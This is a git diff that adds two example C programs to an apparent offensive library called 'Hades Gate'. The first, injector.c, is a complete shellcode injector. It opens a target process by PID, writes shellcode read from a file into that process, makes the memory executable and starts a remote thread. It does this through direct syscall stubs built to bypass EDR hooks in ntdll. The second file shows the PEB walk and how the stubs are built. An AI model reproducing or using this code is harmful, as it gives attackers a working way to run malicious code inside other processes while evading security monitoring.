diff --git a/examples/injector.c b/examples/injector.c new file mode 100644 index 0000000..0c7a404 --- /dev/null +++ b/examples/injector.c @@ -0,0 +1,240 @@ +/* + * injector.c — Complete unhooked injection chain via Hades Gate + * + * Demonstrates: NtOpenProcess → NtAllocateVirtualMemory → + * NtWriteVirtualMemory → NtProtectVirtualMemory → NtCreateThreadEx + * + * All calls go through direct syscall stubs. Zero Win32 API calls. + * Zero hooked ntdll functions executed. + * + * Build: + * x86_64-w64-mingw32-gcc -Os -masm=intel \ + * src/hades_gate.c examples/injector.c -o injector.exe + * + * Usage: + * injector.exe + * + * This file is part of Hades Gate. + * License: None / Do What Thou Wilt. + */ + +#include +#include +#include +#include "../src/hades_gate.h" + +/* ------------------------------------------------------------------ */ +/* NT API prototypes — we'll fill these with our clean stubs */ +/* ------------------------------------------------------------------ */ + +typedef NTSTATUS (NTAPI* pNtOpenProcess)( + PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, CLIENT_ID*); + +typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)( + HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); + +typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory)( + HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + +typedef NTSTATUS (NTAPI* pNtProtectVirtualMemory)( + HANDLE, PVOID*, PSIZE_T, ULONG, PULONG); + +typedef NTSTATUS (NTAPI* pNtCreateThreadEx)( + PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, + SIZE_T, SIZE_T, SIZE_T, PVOID); + +typedef NTSTATUS (NTAPI* pNtClose)(HANDLE); + +typedef NTSTATUS (NTAPI* pNtDelayExecution)(BOOLEAN, PLARGE_INTEGER); + +/* ------------------------------------------------------------------ */ +/* Load shellcode from file */ +/* ------------------------------------------------------------------ */ +static unsigned char* load_file(const char* path, SIZE_T* out_size) { + FILE* f = fopen(path, "rb"); + if (!f) { perror("fopen"); return NULL; } + + fseek(f, 0, SEEK_END); + *out_size = ftell(f); + fseek(f, 0, SEEK_SET); + + unsigned char* buf = (unsigned char*)malloc(*out_size); + if (!buf) { fclose(f); return NULL; } + + if (fread(buf, 1, *out_size, f) != *out_size) { + free(buf); + fclose(f); + return NULL; + } + + fclose(f); + return buf; +} + +/* ------------------------------------------------------------------ */ +/* Main */ +/* ------------------------------------------------------------------ */ +int main(int argc, char* argv[]) { + if (argc < 3) { + printf("Usage: %s \n", argv[0]); + return 1; + } + + DWORD pid = atoi(argv[1]); + SIZE_T sc_size = 0; + unsigned char* shellcode = load_file(argv[2], &sc_size); + if (!shellcode) { + fprintf(stderr, "Failed to load shellcode from %s\n", argv[2]); + return 1; + } + + printf("[*] Target PID: %lu\n", pid); + printf("[*] Shellcode size: %zu bytes\n", sc_size); + + /* ------------------------------------------------------------------ */ + /* Resolve all Nt* functions via Hades Gate */ + /* ------------------------------------------------------------------ */ + printf("[*] Resolving syscall stubs...\n"); + + pNtOpenProcess NtOpenProcess + = (pNtOpenProcess)hg_syscall("NtOpenProcess"); + pNtAllocateVirtualMemory NtAllocateVirtualMemory + = (pNtAllocateVirtualMemory)hg_syscall("NtAllocateVirtualMemory"); + pNtWriteVirtualMemory NtWriteVirtualMemory + = (pNtWriteVirtualMemory)hg_syscall("NtWriteVirtualMemory"); + pNtProtectVirtualMemory NtProtectVirtualMemory + = (pNtProtectVirtualMemory)hg_syscall("NtProtectVirtualMemory"); + pNtCreateThreadEx NtCreateThreadEx + = (pNtCreateThreadEx)hg_syscall("NtCreateThreadEx"); + pNtClose NtClose + = (pNtClose)hg_syscall("NtClose"); + pNtDelayExecution NtDelayExecution + = (pNtDelayExecution)hg_syscall("NtDelayExecution"); + + if (!NtOpenProcess || !NtAllocateVirtualMemory || !NtWriteVirtualMemory || + !NtProtectVirtualMemory || !NtCreateThreadEx || !NtClose) { + fprintf(stderr, "[-] Failed to resolve one or more syscall stubs\n"); + return 1; + } + + /* Verify all stubs are executing from non-ntdll memory */ + printf("[*] All stubs resolved successfully\n\n"); + + /* ------------------------------------------------------------------ */ + /* Step 1: NtOpenProcess */ + /* ------------------------------------------------------------------ */ + HANDLE hProcess = NULL; + CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL }; + OBJECT_ATTRIBUTES oa = { sizeof(oa) }; + + printf("[*] Opening process %lu...\n", pid); + NTSTATUS status = NtOpenProcess( + &hProcess, + PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | + PROCESS_SUSPEND_RESUME, + &oa, &cid); + + if (status < 0 || !hProcess) { + fprintf(stderr, "[-] NtOpenProcess failed: 0x%08lX\n", status); + return 1; + } + printf("[+] Process handle: 0x%p\n", (void*)hProcess); + + /* ------------------------------------------------------------------ */ + /* Step 2: NtAllocateVirtualMemory in target */ + /* ------------------------------------------------------------------ */ + PVOID remote_addr = NULL; + SIZE_T alloc_size = sc_size; + + printf("[*] Allocating %zu bytes in target...\n", alloc_size); + status = NtAllocateVirtualMemory( + hProcess, &remote_addr, 0, &alloc_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); // ← RW, not RWX. We'll change executable afterwards. + + if (status < 0 || !remote_addr) { + fprintf(stderr, "[-] NtAllocateVirtualMemory failed: 0x%08lX\n", status); + NtClose(hProcess); + return 1; + } + printf("[+] Remote address: 0x%p\n", remote_addr); + + /* ------------------------------------------------------------------ */ + /* Step 3: NtWriteVirtualMemory */ + /* ------------------------------------------------------------------ */ + SIZE_T bytes_written = 0; + + printf("[*] Writing shellcode...\n"); + status = NtWriteVirtualMemory( + hProcess, remote_addr, shellcode, sc_size, &bytes_written); + + if (status < 0 || bytes_written != sc_size) { + fprintf(stderr, "[-] NtWriteVirtualMemory failed: 0x%08lX\n", status); + NtClose(hProcess); + return 1; + } + printf("[+] Wrote %zu bytes\n", bytes_written); + + /* ------------------------------------------------------------------ */ + /* Step 4: NtProtectVirtualMemory → PAGE_EXECUTE_READ */ + /* ------------------------------------------------------------------ */ + ULONG old_protect = 0; + PVOID protect_addr = remote_addr; + SIZE_T protect_size = sc_size; + + printf("[*] Changing memory to PAGE_EXECUTE_READ...\n"); + status = NtProtectVirtualMemory( + hProcess, &protect_addr, &protect_size, + PAGE_EXECUTE_READ, &old_protect); + + if (status < 0) { + fprintf(stderr, "[-] NtProtectVirtualMemory failed: 0x%08lX\n", status); + NtClose(hProcess); + return 1; + } + printf("[+] Protection changed from 0x%08lX to PAGE_EXECUTE_READ\n", + old_protect); + + /* ------------------------------------------------------------------ */ + /* Step 5: NtCreateThreadEx */ + /* ------------------------------------------------------------------ */ + HANDLE hThread = NULL; + + printf("[*] Creating remote thread...\n"); + status = NtCreateThreadEx( + &hThread, + THREAD_ALL_ACCESS, + NULL, + hProcess, + remote_addr, // start address (our shellcode) + NULL, // argument + 0, // flags + 0, // stack size (0 = default) + 0, // max stack size + 0, // initial thread attributes + NULL); + + if (status < 0 || !hThread) { + fprintf(stderr, "[-] NtCreateThreadEx failed: 0x%08lX\n", status); + NtClose(hProcess); + return 1; + } + printf("[+] Remote thread: 0x%p\n", (void*)hThread); + + /* ------------------------------------------------------------------ */ + /* Cleanup */ + /* ------------------------------------------------------------------ */ + printf("[*] Waiting 1 second for shellcode to execute...\n"); + + LARGE_INTEGER delay; + delay.QuadPart = -10000000LL; // 1 second in 100ns intervals + NtDelayExecution(FALSE, &delay); + + NtClose(hThread); + NtClose(hProcess); + free(shellcode); + + printf("[+] Injection complete\n"); + return 0; +} diff --git a/examples/simple_use.c b/examples/simple_use.c new file mode 100644 index 0000000..e276171 --- /dev/null +++ b/examples/simple_use.c @@ -0,0 +1,77 @@ +/* + * simple_use.c — Minimal Hades Gate usage example + * + * Demonstrates: + * 1. Resolving ntdll base via PEB walk + * 2. Parsing exports for NtAllocateVirtualMemory + * 3. Building and calling a clean syscall stub + * + * Build: + * x86_64-w64-mingw32-gcc -Os -masm=intel \ + * src/hades_gate.c examples/simple_use.c -o simple_use.exe + */ + +#include +#include "../src/hades_gate.h" + +typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemory)( + HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); + +int main(void) { + printf("=== Hades Gate — Simple Usage Test ===\n\n"); + + /* Method 1: One-shot (resolve + build in one call) */ + printf("[*] One-shot: hg_syscall(\"NtAllocateVirtualMemory\")\n"); + void* stub = hg_syscall("NtAllocateVirtualMemory"); + if (stub) { + printf("[+] Stub at: %p\n", stub); + } else { + printf("[-] Failed\n"); + } + + /* Method 2: Two-step (inspect the resolved info) */ + printf("\n[*] Two-step: hg_find_ntdll → hg_resolve\n"); + uintptr_t ntdll = hg_find_ntdll(); + if (ntdll) { + printf("[+] ntdll base: 0x%p\n", (void*)ntdll); + } else { + printf("[-] PEB walk failed\n"); + return 1; + } + + HG_RESOLVED r = hg_resolve("NtAllocateVirtualMemory"); + if (r.ssn) { + printf("[+] Function: %p\n", r.address); + printf("[+] SSN: 0x%02X (%u)\n", r.ssn, r.ssn); + + void* stub2 = hg_build_stub(r.ssn); + if (stub2) { + printf("[+] Stub: %p\n", stub2); + + /* Call it */ + pNtAllocateVirtualMemory pAlloc = (pNtAllocateVirtualMemory)stub2; + PVOID addr = NULL; + SIZE_T size = 0x1000; + + printf("\n[*] Calling stub (allocating 4096 bytes)...\n"); + NTSTATUS status = pAlloc( + (HANDLE)-1, &addr, 0, &size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE); + + if (status >= 0 && addr) { + printf("[+] Allocated: %p (NTSTATUS: 0x%08lX)\n", addr, status); + /* Write a test pattern */ + *(uint32_t*)addr = 0xDEADBEEF; + printf("[+] Wrote 0x%08X — memory is alive\n", *(uint32_t*)addr); + } else { + printf("[-] Allocation failed: 0x%08lX\n", status); + } + } + } else { + printf("[-] Resolution failed\n"); + } + + printf("\n=== Done ===\n"); + return 0; +}